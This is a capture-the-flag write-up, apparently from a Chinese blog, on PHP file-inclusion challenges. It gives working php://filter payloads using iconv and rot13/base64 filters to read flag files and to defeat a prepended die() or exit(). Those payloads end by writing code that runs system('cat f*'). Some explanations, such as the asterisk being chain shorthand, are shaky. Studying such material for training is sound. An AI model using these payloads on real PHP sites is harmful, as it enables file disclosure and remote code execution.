xctf实战案例-过滤器绕过
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename']))
{
$filename = $_GET['filename'];
include($filename); }
?>
题目源码如上
(1)直接访问 /flag.php 文件,结果返回为空(因为不是 404,证明确实存在该文件)

(2)以我们需要对 flag.php 内容进行编码后再进行包含(base64,encode被过滤了,用不了)

本关考察的 PHP 伪协议是 php://filter,使用的过滤器是 convert.iconv.,你可以理解为使用 iconv() 函数处理所有的输入输出流。convert.iconv. 过滤器使用方法有如下两种:
convert.iconv.<input-encoding>.<output-encoding>
or
convert.iconv.<input-encoding>/<output-encoding>
其中 <input-encoding> 与 <output-encoding>就是编码的方式,PHP 支持的字符编码可以从 PHP 官网获取
[convert.iconv - PHP 的内置字符集转换过滤器
<input-encoding> - 源文件的编码(如 UTF-8、GBK、ISO-8859-1 等)
<output-encoding>- 要转换成的目标编码]
convert.iconv.UTF-8.UTF-7
UTF-8 转 UTF-7
convert.iconv.UTF-8.UTF-16
UTF-8 转 UTF-16
convert.iconv.UTF-8.UTF-16LE
UTF-8 转 UTF-16 小端序
convert.iconv.UTF-8.UTF-16BE
UTF-8 转 UTF-16 大端序
convert.iconv.UTF-8.ISO-8859-1
UTF-8 转 Latin-1
convert.iconv.UTF-8.GBK
UTF-8 转 GBK(中文)
(3)首先请求上面的 Payload 模板,并使用 BurpSuite 进行抓包,然后将 PHP 支持的字符编码作为参数替换 <input-encoding> 与 <output-encoding> 的内容:同时要把那个url编码关了,否则他会转码


配置完成后,开始爆破,然后按照返回包的长度进行排序,我们可以很快得到一个可用的 Payload
?filename=php://filter/convert.iconv.CP1252.UTF32*/resource=flag.php

补充:?filename=php://filter/convert.iconv.CP1252.UTF-32*/resource=flag.php
星号 *在这里是过滤器链的缩写,
(1)星号 \*的含义
*是 PHP 中过滤器链的简写,等价于:
convert.iconv.CP1252.UTF-32/convert.iconv.UTF-32.UTF-8
所以完整的过滤器链是:
CP1252 → UTF-32 → UTF-8
(2)为什么这样构造?
1. 绕过死亡 exit 技巧
常见防御代码:
<?php
$content = '<?php exit(); ?>';
$content .= $_GET['txt'];
file_put_contents($filename, $content);
利用原理:
<?php exit(); ?>的 16 进制:3C 3F 70 68 70 20 65 78 69 74 28 29 3B 20 3F 3E
经过 CP1252 → UTF-32 → UTF-8转换后,这些字节会被破坏
但我们的恶意代码仍然能正常执行
2.原始:<?php exit(); ?>
CP1252 → UTF-32:每个字符变成4字节
UTF-32 → UTF-8:重新编码,破坏原结构
例题一:rot13
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
一个写文件的题,但是有过滤,不允许包含 php , data , : 和 . 但是在写入操作的时候,会把 file 参数进行 urldecode,所以我们可以两次 urldecode 来绕过过滤,然后只需要考虑如何绕过 <?php die('大佬别秀了');?> 中的 die() 即可
我们可以尝试使用 Base64 绕过 die(),Base64 的编码范围是 0-9 , a-z , A-Z , + 和 / ,其他字符会被忽略,去掉不支持的字符,只剩下了 phpdie 了,因为 Base64 解码是按照 4 位 一组进行解码的,所以我们需要在最终编码出来的字符串中最前面添加两个字母,以达到 Base64 解码的规则,即先写入,再读取
// 需要两次URL编码
GET: ?file=php://filter/convert.base64-decode/resource=1.php
// 需要base64编码,编码后最前面添加两个字母如:aa
POST: content=<?php system('cat f*');
另一种方法是使用 Rot13 编码
| 字符串过滤器 | 作用 |
|---|---|
| string.rot13 | 等同于 str_rot13(),rot13 变换 |
// 需要两次URL编码
GET: ?file=php://filter/string.rot13/resource=1.php
// 需要Rot13编码
POST: content=<?php system('cat f*');
Rot13 解码后写入的文件内容变为了
<?cuc qvr('大佬别秀了');?><?php system('cat f*');
这样就可以绕过 die() 了
本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20627519

浙公网安备 33010602011771号